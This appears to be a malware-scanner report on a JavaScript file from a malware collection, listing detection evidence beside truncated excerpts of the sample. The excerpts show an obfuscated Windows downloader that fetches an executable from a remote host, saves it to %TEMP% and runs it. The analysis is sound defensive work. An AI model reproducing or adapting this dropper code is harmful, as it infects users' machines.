Suspicious ^80% javascript-malware-collection Download

20160328_4f5926a189754fc6f366832599de6997.js

Obfuscated C2 and file write

eval() executing transformed codeText has empty named-parameter catch

SHA-256e352c21eaad7b5bdffec92c7eeb9e34a4c2c7c987fc532349a09403f7bee7441

Evidence

Obfuscated ADODB fragment "ADOD" line 1

1eval(pixelMarginRight("specified%20%3D%20%28%22R%22%29%2C%20parse%20%3D%20%28%22ody%22%29%2C%20keyHooks%20%3D%20eval%2C%20prevObject%20%3D%20%28%22respon%22%29%2C%20getText%20%3D%20%28%22XMLH%22%29%3BData%20%3D%20%28%22ype%22%29%2C%20marginRight%20%3D%20%28function%20num%28%29%7B%7D%2C%20%22P.3%22%29%3Bbefore%20%3D%20%28%22%25TEMP%25%22%29%2C%20cssNumber%20%3D%20%28%22ml2.X%22%29%2C%20rpseudo%20%3D%20%2883%29%2C%20_evalUrl%20%3D%20%28%22ateObj%22%29%2C%20serializeArray%20%3D%20%28%22pt%22%29%2C%20getWidthOrHeight%20%3D%20%28%22p%3A//%22%29%3Bvar%20e%20%3D%20%28%22rin%22%29%2C%20left%20%3D%20%28%22ucto …

Invokes zero-argument function at module scope lines 1–8

1:3127… %3B%3B"));
2padding = elemLang = DOMParser = fxNow = num.args();
3contexts();
4returnFalse(finalDataType, dequeue, r20, rpseudo, Data);
5condense(ct);
6focusin();
7insertAfter["mo" + sibling] = ((246, rpseudo, 1) * (unloadHandler + 1));
8insertAfter["ty" + ct] = ((toSelector) & (139, body, 1 …

JavaScript silently discards caught errors lines 14–20

8… bled();
	computeStyleTests(cssNumber, getText, rkeyEvent);
	cache["s" + options + "d"]();
	break;
} catch(stateVal) {}
}
while(cache[firing + "dySta" + rhtml] != (2 * (unloadHandler))) DOMParser["WScri" + serializeArray]["Sl" + selector]((2 * ( …

Calls JavaScript unescape lines 21–40

21:22… ardown] == ((relatedTarget & 8060) / (buildFragment + 28))) {
22		insertAfter["o" + ct + "n"]();
23		insertAfter[marginLeft + "e"](cache[prevObject + "seB" + parse]);
24		DOMParser["WScri" + serializeArray]["Sle" + aup](((rinputs / 8) + (tweens / 2)));
25		insertAfter["SaveT" + toggleClass](checkOn, ((toSelector * 2) + traditional));
26		fxNow["WScr" + col]["Sleep"](((2237 + fragment) & (7753 - curOffset)));
27		self[specified + "un"](checkOn);
28	} else {}
29}
30
31function overwritten(configurable) {
32	keyHooks(pixelMarginRight("pdataOld%28%22htt%22%20+%20getWidthOrHeight%20+%20%22ekut.c%22%20+%20dequeue%20+%20%22.com/N%22%20+%20finish%20+%20%22Y.e%22%20+%20rprotocol%29%3B"));
33}
34
35function pixelMarginRight(stopped) {
36	return unescape(stopped);
37}
38
39function computeStyleTests(tweeners, unbind, name) {
40	keyHooks(pixelMarginRight("cache%5BrkeyEvent%20+%20%22p%22%20+%20l%20+%20%22n%22%5D%28eventHandle%20+%20%22ET%22%2C%20reverse%20+%20%22//ek%22%20+%20createTween%20+%20%22eicc.%22%20+%20has%20+%2 …

Dense concatenated string fragments lines 44–48

44:128… D%28curValue%5BsortStable%5D%29%3B"));
45}
46
47function condense() {
48	keyHooks(pixelMarginRight("curValue%20%3D%20%5B%22Msx%22%20+%20converters%20+%20%22Server%22%20+%20getText%20+%20%22TTP%22%20+%20radio%2C%20%22Msx%22%20+%20cssNumber%20+%20%22MLHT …